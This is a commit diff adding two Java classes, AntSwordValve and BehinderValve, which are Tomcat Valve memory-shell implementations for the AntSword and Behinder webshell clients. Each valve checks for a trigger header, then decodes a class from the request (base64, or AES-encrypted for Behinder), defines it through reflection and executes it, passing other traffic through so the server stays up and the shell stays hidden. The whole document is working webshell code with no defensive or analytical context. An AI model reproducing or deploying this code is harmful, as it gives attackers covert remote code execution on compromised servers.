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87 changes: 87 additions & 0 deletions
87
jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordValve.java
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,87 @@ | ||
| package jmg.antsword.memshell; | ||
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| import org.apache.catalina.Valve; | ||
| import org.apache.catalina.connector.Request; | ||
| import org.apache.catalina.connector.Response; | ||
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| import javax.servlet.ServletException; | ||
| import java.io.IOException; | ||
| import java.lang.reflect.Method; | ||
| import java.net.URL; | ||
| import java.net.URLClassLoader; | ||
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| public class AntSwordValve extends ClassLoader implements Valve { | ||
| protected Valve next; | ||
| protected boolean asyncSupported; | ||
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| public String pass; | ||
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| public String headerName; | ||
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| public String headerValue; | ||
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| public AntSwordValve() { | ||
| } | ||
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| public AntSwordValve(ClassLoader c) { | ||
| super(c); | ||
| } | ||
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| public Class g(byte[] b) { | ||
| return super.defineClass(b, 0, b.length); | ||
| } | ||
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| @Override | ||
| public Valve getNext() { | ||
| return this.next; | ||
| } | ||
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| @Override | ||
| public void setNext(Valve valve) { | ||
| this.next = valve; | ||
| } | ||
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| @Override | ||
| public boolean isAsyncSupported() { | ||
| return this.asyncSupported; | ||
| } | ||
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| @Override | ||
| public void backgroundProcess() { | ||
| } | ||
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| @Override | ||
| public void invoke(Request request, Response response) throws IOException, ServletException { | ||
| try { | ||
| if (request.getHeader(headerName).contains(headerValue)) { | ||
| String cls = request.getParameter(pass); | ||
| if (cls != null) { | ||
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| byte[] data = base64Decode(cls); | ||
| URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); | ||
| Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); | ||
| method.setAccessible(true); | ||
| Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); | ||
| clazz.newInstance().equals(new Object[]{request, response}); | ||
| } | ||
| }else { | ||
| // 重要: 没有这一步会将目标服务器打挂 | ||
| this.getNext().invoke(request, response); | ||
| } | ||
| } catch (Exception e) { | ||
| this.getNext().invoke(request, response); | ||
| } | ||
| } | ||
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| public byte[] base64Decode(String str) throws Exception { | ||
| try { | ||
| Class clazz = Class.forName("sun.misc.BASE64Decoder"); | ||
| return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); | ||
| } catch (Exception var5) { | ||
| Class clazz = Class.forName("java.util.Base64"); | ||
| Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); | ||
| return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); | ||
| } | ||
| } | ||
| } |
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89 changes: 89 additions & 0 deletions
89
jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderValve.java
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,89 @@ | ||
| package jmg.behinder.memshell; | ||
|
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| import org.apache.catalina.Valve; | ||
| import org.apache.catalina.connector.Request; | ||
| import org.apache.catalina.connector.Response; | ||
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| import javax.crypto.Cipher; | ||
| import javax.crypto.spec.SecretKeySpec; | ||
| import javax.servlet.ServletException; | ||
| import javax.servlet.http.HttpSession; | ||
| import java.io.IOException; | ||
| import java.util.HashMap; | ||
| import java.util.Map; | ||
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| public class BehinderValve extends ClassLoader implements Valve { | ||
| protected Valve next; | ||
| protected boolean asyncSupported; | ||
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| public String pass; | ||
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| public String headerName; | ||
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| public String headerValue; | ||
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| public BehinderValve() { | ||
| } | ||
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| public BehinderValve(ClassLoader c) { | ||
| super(c); | ||
| } | ||
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| public Class g(byte[] b) { | ||
| return super.defineClass(b, 0, b.length); | ||
| } | ||
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| @Override | ||
| public Valve getNext() { | ||
| return this.next; | ||
| } | ||
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| @Override | ||
| public void setNext(Valve valve) { | ||
| this.next = valve; | ||
| } | ||
|
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| @Override | ||
| public boolean isAsyncSupported() { | ||
| return this.asyncSupported; | ||
| } | ||
|
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| @Override | ||
| public void backgroundProcess() { | ||
| } | ||
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| @Override | ||
| public void invoke(Request request, Response response) throws IOException, ServletException { | ||
| try { | ||
| if (request.getHeader(headerName).contains(headerValue)) { | ||
| HttpSession session = (request.getSession()); | ||
| Map obj = new HashMap(); | ||
| obj.put("request", request); | ||
| obj.put("response", response); | ||
| obj.put("session", session); | ||
| session.putValue("u", pass); | ||
| Cipher c = Cipher.getInstance("AES"); | ||
| c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); | ||
| (new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj); | ||
| } else { | ||
| // 重要: 没有这一步会将目标服务器打挂 | ||
| this.getNext().invoke(request, response); | ||
| } | ||
| } catch (Exception e) { | ||
| this.getNext().invoke(request, response); | ||
| } | ||
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| } | ||
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| public byte[] base64Decode(String str) throws Exception { | ||
| try { | ||
| Class clazz = Class.forName("sun.misc.BASE64Decoder"); | ||
| return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); | ||
| } catch (Exception var5) { | ||
| Class clazz = Class.forName("java.util.Base64"); | ||
| Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); | ||
| return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); | ||
| } | ||
| } | ||
| } |
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